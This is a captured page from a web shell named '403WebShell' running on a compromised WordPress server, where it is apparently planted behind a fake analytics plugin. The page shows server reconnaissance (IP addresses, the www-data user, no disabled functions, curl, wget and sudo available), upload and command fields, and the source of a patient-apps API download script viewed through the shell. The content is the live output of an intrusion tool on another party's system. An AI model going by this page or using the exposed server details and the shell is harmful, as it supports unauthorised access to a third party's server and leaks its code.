Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/patientapps_beta/api/.api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/patientapps_beta/api/.api/download.php
<?php

	while (ob_get_level()) {
        ob_end_clean();
	}

// download one of the zip files
	$filename = array_shift($elements);
    $filename = str_replace(['\\', '/', '<', '>', '&', ';', '..'], '', $filename);
    list($abbr, $ext) = explode('.', $filename);

	$source_file = DOWNLOAD_FOLDER . "/{$filename}";
    if (!file_exists($source_file)) {
        $abbr2 = ProductMapping($db, $abbr);
        if ($abbr2 != '') $source_file = DOWNLOAD_FOLDER . "/{$abbr2}.{$ext}";
    }
	
	if (SERVER == 'TUCANA' && !file_exists($source_file)) {
		$folder = '/var/www/tucana_cms/storage/patientapps/audio';
		$source_file = $folder . "/{$filename}";
		if (!file_exists($source_file)) {
			$abbr2 = ProductMapping($db, $abbr);
			if ($abbr2 != '') $source_file = $folder . "/{$abbr2}.{$ext}";
		}
	}

    
	if ($source_file != '' && file_exists($source_file)) {
		$ext = pathinfo($source_file, PATHINFO_EXTENSION);
		switch(strtolower($ext)) {
			case 'zip': 
				header('Content-Type: application/zip');
				break;
			case 'json': 
				header('Content-Type: application/json'); 
				break;
			default:
				header('Content-Type: application/octet-stream'); 
				break;
		}
		$version = $_GET['version'] ?? '1.9.20';
		$newformat = version_compare($version, '2.0.0') >= 0;
		
		$app = isset($_GET['app']) ? trim($_GET['app']) : '';
		if ($ext == 'json' && $app == 'web')  {		// web version is much smaller
			if ($newformat) {
				_generateMultilangVersion($source_file);
			} else {
				header("Content-Disposition: attachment; filename=\"{$filename}\""); 
				_generateWebVersion($source_file);
			}
			exit;
		}
		header("Content-Disposition: attachment; filename=\"{$filename}\""); 
		header('Content-Length: ' . filesize($source_file));
//		header('Pragma: no-cache'); 
//		header('Expires: 0'); 
		readfile($source_file);
	} else {
		header('Content-Type: text/plain'); 
		die("\n404 File not found - $source_file [" . HOST . "]\n");
		die("\n404 File not found\n");
	}

function _generateWebVersion($source_file) {
	$json = json_decode(file_get_contents($source_file), TRUE);
	$result = [ 'data.json' => $json['data.json'] ];
	$result = json_encode($result);
	header('Content-Length: ' . strlen($result));
	echo $result;
	exit;
}

// https://beta.patientapps.net/api/download/pai-pcnl.json?version=2.0.1&app=web
function _generateMultilangVersion($source_file) {
	$json = json_decode(file_get_contents($source_file), TRUE);
	// use the multilanguage version, if present
	if (isset($json['master.json'])) {
		die(str_replace('\\/', '/', json_encode($json['master.json'])));
	}
	// otherwise default to the old format
	return _generateWebVersion($source_file);

}

Youez - 2016 - github.com/yon3zu
LinuXploit